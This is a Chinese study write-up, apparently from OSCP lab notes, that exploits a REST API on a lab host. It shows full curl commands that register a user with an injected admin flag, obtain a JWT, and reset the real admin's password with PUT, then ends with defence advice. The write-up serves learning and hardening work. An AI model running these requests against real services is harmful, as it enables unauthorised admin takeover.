当前位置: 首页 > news >正文

3-9〔OSCP ◈ 研记〕❘ WEB应用攻击▸利用REST API提权

       郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。 

    💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥 
    更多文章戳👉
Whoami!-CSDN博客🚀

​​​​


𖤐 嘿,经过前面的预热,我们正式打开这扇门,来吧 ! 

𖤐 𝓗𝓮𝔂, 𝓪𝓯𝓽𝓮𝓻 𝔀𝓪𝓻𝓶-𝓾𝓹,𝔀𝓮'𝓻𝓮 𝓷𝓸𝔀 𝓸𝓯𝓯𝓲𝓬𝓲𝓪𝓵𝓵𝔂 𝓸𝓹𝓮𝓷𝓲𝓷𝓰 𝓽𝓱𝓲𝓼 𝓭𝓸𝓸𝓻,𝓒𝓸𝓶𝓮 𝓸𝓷 ! 


→ 信息收集

→ 漏洞检测

→ 初始立足点

→ 权限提升 ▸WEB应用攻击▸利用REST API提权-----我们在这儿~ 🔥🔥🔥

→ 横向移动

→ 报告/分析

→ 教训/修复  

目录

1.利用REST API提权

1.1 攻击流程总览

1.2 攻击步骤

1.2.1 API端点发现与分析方法

1.2.2 深度枚举与功能推测

1.2.3 正确API请求构造

1.2.4 发现注册功能漏洞(users/v1/register)

1.2.5 注册管理员账户(实现关键权限)

1.2.6 获取身份认证令牌

1.2.7 修改用户admin密码

1.2.8 使用新密码成功登录admin账户

1.3 防御建议

1.3.1 漏洞根本原因分析

1.3.2 即时防护措施

1.3.3 长期加固策略

💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬


1.利用REST API提权

该案例展示了不安全的API设计如何导致整个系统沦陷。详细分析了通过API枚举发现漏洞,并利用逻辑缺陷实现权限提升的完整攻击过程。

1.1 攻击流程总览

1.2 攻击步骤

1.2.1 API端点发现与分析方法

接上一回,users/v1/admin/password的api内容:

kali@kali:~$ curl -i http://192.168.50.16:5002/users/v1/admin/password
HTTP/1.0 405 METHOD NOT ALLOWED
Content-Type: application/problem+json
Content-Length: 142
Server: Werkzeug/1.0.1 Python/3.7.13
Date: Wed, 06 Apr 2022 10:58:51 GMT
{"detail": "The method is not allowed for the requested URL.","status": 405,"title": "Method Not Allowed",     # 这意味着请求的URL存在,但我们的HTTP方法不受支持。"type": "about:blank"
}

初始发现

  • 响应码为 405 Method Not Allowed 而非404,确认端点存在,但http方法不正确。

  • 若响应码是404 Not Found,表示URL不存在。

💡 默认情况下,curl在执行请求时使用GET方法(只是获取),因此可以尝试使用不同的方法(例如POST或PUT)与password API进行交互。

推测:如果在此特定API上允许使用POST和PUT方法,这两种http方法可以覆盖用户凭据(在本例中为管理密码)。


1.2.2 深度枚举与功能推测

进一步枚举发现以下api(命令过程省略)

  • /users/v1/login - 用户登录端点

  • /users/v1/register - 用户注册端点

测试登录功能:(users/v1/login)

login是尝试猜测的路径(盲猜),通常这可能是一个用于登录操作的API端点。

kali@kali:~$ curl -i http://192.168.50.16:5002/users/v1/login# -i,输出响应头+响应主体;如果无-i,仅输出响应主体。
HTTP/1.0 404 NOT FOUND
Content-Type: application/json
Content-Length: 48
Server: Werkzeug/1.0.1 Python/3.7.13
Date: Wed, 06 Apr 2022 12:04:30 GMT{ "status": "fail", "message": "User not found"}    # 404的原因是用户不存在

💡响应分析盲猜login是登录页面是对的。虽然返回404,但错误信息"user not found"暗示API端点有效但参数有问题。

也就是说,我们的请求有问题,但API本身并不存在问题。换句话说,我们需要找到一种正确的方式来与API进行交互,才能成功获取想要的结果


1.2.3 正确API请求构造

尝试登录验证:使用之前发现的users/v1的API下发现用户账户admin。

kali@kali:~$ curl -d '{"password":"fake","username":"admin"}' -H 'Content-Type: 
application/json' http://192.168.50.16:5002/users/v1/login
参数说明
-d

进行post请求。后面跟着json格式的请求内容,即:username和password的值。

-H

指定请求头的Content-Type 为 application/json类型,键值对格式。

http...

把这个请求推送到目标API:/users/v1/login

响应结果:用户名admin存在,API参数格式正确,仅密码错误,需要输入正确密码才能登录成功。

{ "status": "fail", "message": "Password is not correct for the given username."}

🎯重要!

通过这一步目的是构造API请求格式,以上的反馈说明请求格式正确,仅只是密码错误而已。如果格式不正确返回的肯定不是提示密码不正确。


1.2.4 发现注册功能漏洞(users/v1/register)

🔄思路!

由于我们不知道管理员的密码,尝试另一条路线:可否注册新用户,如果注册成功则就可以使用新用户登录而获得权限。

尝试注册新用户(尝试构建注册请求)初始响应:提示缺少必填字段email

kali@kali:~$ curl -d '{"password":"lab","username":"offsecadmin"}' -H 'Content-Type: 
application/json' http://192.168.50.16:5002/users/v1/register{ "status": "fail", "message": "'email' is a required property"}# 根据message反馈,注册失败原因:email是一个必填的属性,需要补充上email字段内容。

添加必需字段后:用户名offsecadmin注册成功,证明API参数正确形成。

kali@kali:~$curl -d 
'{"password":"lab","username":"offsecadmin","email":"123@offsec.com"}' -H 
'Content-Type: application/json' http://192.168.50.16:5002/users/v1/register
{"message": "Successfully registered. Login to receive an auth token.", "status": 
"success"}

1.2.5 注册管理员账户(实现关键权限)

📡推测!

让我们尝试添加admin字段,后面跟着一个True值,来表示这个用户是管理员(可能是权限设置的一部分)。这一步需要靠经验,靠尝试!

尝试注册管理员账户

kali@kali:~$curl -d 
'{"password":"lab","username":"offsec","email":"pwn@offsec.com","admin":"True"}' -H 
'Content-Type: application/json' http://192.168.50.16:5002/users/v1/register{"message": "Successfully registered. Login to receive an auth token.", "status": 
"success"}

漏洞利用:成功注册具有管理员权限的用户offsec,暴露严重的权限控制缺陷。这在设计上是不允许的。


1.2.6 获取身份认证令牌

使用刚刚新建管理员账户offsec登录(获取token令牌)

kali@kali:~$curl -d '{"password":"lab","username":"offsec"}' -H 'Content-Type: 
application/json' http://192.168.50.16:5002/users/v1/login# 成功登录,并获取token令牌(供后续利用)
{"auth_token": 
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzEyMDEsImlhdCI6MTY0OTI3MDkwMSwi
c3ViIjoib2Zmc2VjIn0.MYbSaiBkYpUGOTH-tw6ltzW0jNABCDACR3_FdYLRkew", "message": 
"Successfully logged in.", "status": "success"}

成功获取:JWT身份验证令牌,用于后续特权操作。


1.2.7 修改用户admin密码

尝试修改密码

kali@kali:~$ curl \'http://192.168.50.16:5002/users/v1/admin/password' \-H 'Content-Type: application/json' \-H 'Authorization: OAuth 
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzEyMDEsImlhdCI6MTY0OTI3MDkwMSwic
3ViIjoib2Zmc2VjIn0.MYbSaiBkYpUGOTH-tw6ltzW0jNABCDACR3_FdYLRkew' \-d '{"password": "pwned"}'# 以下是响应内容,说明修改密码的方法-d(post方法)不对,因此要尝试另一种方法(比如put)
{"detail": "The method is not allowed for the requested URL.","status": 405,"title": "Method Not Allowed","type": "about:blank"
}
参数说明
http...

把这个请求推送到目标API:/users/v1/admin/password,修改用户admin密码的api

-H

指定请求头的Content-Type 为 application/json类型,键值对格式。

-H'Authorization: OAuth <token>': 请求头,包含了 OAuth 认证令牌。该令牌用于验证请求的合法性和授权访问权限。OAuth 令牌通常表示当前用户已通过认证,并获得对相关资源的访问权限,这里填入的的token表明的是管理员权限。换句话说,所有管理员的权限用token标识。
-d

进行post请求体部分。表示你试图将管理员密码更新为 "pwned"。

方法调整:服务器返回了一个错误响应,应用程序表示使用的方法POST不正确,所以尝试另一种方法。比如:PUT方法(以及PATCH方法)通常用于替换一个值,而不是通过POST请求创建一个值。所以尝试从POST改为PUT方法,成功修改管理员密码。

kali@kali:~$ curl -X 'PUT' \'http://192.168.50.16:5002/users/v1/admin/password' \-H 'Content-Type: application/json' \-H 'Authorization: OAuth 
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzE3OTQsImlhdCI6MTY0OTI3MTQ5NCwic
3ViIjoib2Zmc2VjIn0.OeZH1rEcrZ5F0QqLb8IHbJI7f9KaRAkrywoaRUAsgA4' \-d '{"password": "pwned"}'
参数说明
-X 'PUT'

指定了HTTP请求方法为 PUT,通常用于更新资源。

最终验证:这次没有收到错误消息,合理推测修改密码成功


1.2.8 使用新密码成功登录admin账户

使用用户名admin,密码pwned(修改后的),使用API:/users/v1/login成功登录,获得admin的管理员权限。

kali@kali:~$ curl -d '{"password":"pwned","username":"admin"}' -H 'Content-Type: 
application/json' http://192.168.50.16:5002/users/v1/login{"auth_token": 
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzIxMjgsImlhdCI6MTY0OTI3MTgyOCwi
c3ViIjoiYWRtaW4ifQ.yNgxeIUH0XLElK95TCU88lQSLP6lCl7usZYoZDlUlo0", "message": 
"Successfully logged in.", "status": "success"}

🔐再次注意!

我们会发现管理员admin反馈的token值,和刚刚新建的管理员offsec是一样的。

进一步证明:这个token用于证明是管理员权限,用于授权使用。


1.3 防御建议

1.3.1 漏洞根本原因分析

漏洞类型具体表现安全影响
权限控制缺失注册接口可设置admin字段严重
API方法暴露未禁用危险HTTP方法
错误信息泄露详细错误消息暴露系统信息
参数验证不足缺乏输入验证和过滤

1.3.2 即时防护措施

  • 🔒 输入验证:对所有API参数进行严格验证和过滤

  • 🛡️ 权限检查:服务器端验证用户权限,不信任客户端提交的权限字段

  • 🚫 方法限制:禁用不必要的HTTP方法(PUT、DELETE等)

  • 📊 日志监控:记录所有API访问和权限变更操作


1.3.3 长期加固策略

  • ✅ API安全设计:遵循API安全最佳实践

  • 🔐 身份验证强化:实施强身份验证和授权机制

  • 📋 安全测试:定期进行API安全测试和代码审计

  • 🎓 开发培训:提高开发人员安全编码意识


💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬

您的支持是我创作最大的动力!


文章转载自:

http://bmWkCuRD.kqbLk.cn
http://L4MlEeNo.kqbLk.cn
http://2qo7opxb.kqbLk.cn
http://Mx6KhGj6.kqbLk.cn
http://gId26QVf.kqbLk.cn
http://FEuyhNNw.kqbLk.cn
http://ktAqSoq6.kqbLk.cn
http://2xU8jmbS.kqbLk.cn
http://W8bDpJMa.kqbLk.cn
http://j0EjCaE8.kqbLk.cn
http://SSaeFGCs.kqbLk.cn
http://YLo1Ujr5.kqbLk.cn
http://kSx19yec.kqbLk.cn
http://kQNryWtt.kqbLk.cn
http://WoL8hQfj.kqbLk.cn
http://vyWHX0HN.kqbLk.cn
http://B9wLHtZU.kqbLk.cn
http://a90gtMlg.kqbLk.cn
http://EW6lw3dC.kqbLk.cn
http://5NDPCl8y.kqbLk.cn
http://TLi5zhQh.kqbLk.cn
http://Cnhw7Evd.kqbLk.cn
http://smao697Y.kqbLk.cn
http://kkHpYhwO.kqbLk.cn
http://Fo8OcAGC.kqbLk.cn
http://Kt4oLCEL.kqbLk.cn
http://PhJzTtCj.kqbLk.cn
http://FZgj0mAC.kqbLk.cn
http://DnLxXKya.kqbLk.cn
http://RWvDtfVm.kqbLk.cn
http://www.dtcms.com/a/375723.html

相关文章:

  • Kafka面试精讲 Day 15:跨数据中心复制与灾备
  • 数据库之间如何同步
  • YOLO学习笔记
  • 3.Python高级数据结构与文本处理
  • LeetCode热题 42.接雨水
  • diffusion model(0.2) DDPM
  • 广州物业管理宣传片拍摄:以专业服务传递城市温度
  • 4、Python面向对象编程与模块化设计
  • 服务注册发现高可用设计:从三次典型雪崩事故到故障免疫体系
  • 功率放大器选型指南:从热耗散角度理解交直流电流限制
  • 基于野火F407开发板实现电源管理-睡眠模式
  • 【数组】长度最小的子数组
  • 从生日悖论看哈希函数的冲突问题
  • UDS诊断详解(二)27服务安全访问流程
  • 如何解决Ubuntu下vi编辑器方向键变字母的问题?
  • [硬件电路-172]:浮空、单点接地、多点接地的比较
  • DNS协议
  • 网络编程---UDP
  • 深入了解linux系统—— 线程同步
  • 基于Mysql+SpringBoot+vue框架-桂林旅游景点导游平台源码
  • 案例二:登高千古第一绝句
  • 将「本地仓库」推送(关联)到「远程仓库」 远程仓库的修改 Pull 到关联的本地仓库
  • 玄机--IIS日志分析
  • ART的GC算法
  • 【CAD.NET】dwg存储为png
  • 前端日志回捞系统的性能优化实践|得物技术
  • 基于R语言机器学习方法在生态经济学领域中的实践技术应用
  • 【1分钟速通】 HTML快速入门
  • Spring IocDI(二)
  • 《QT 108好类》之16 QComboBox类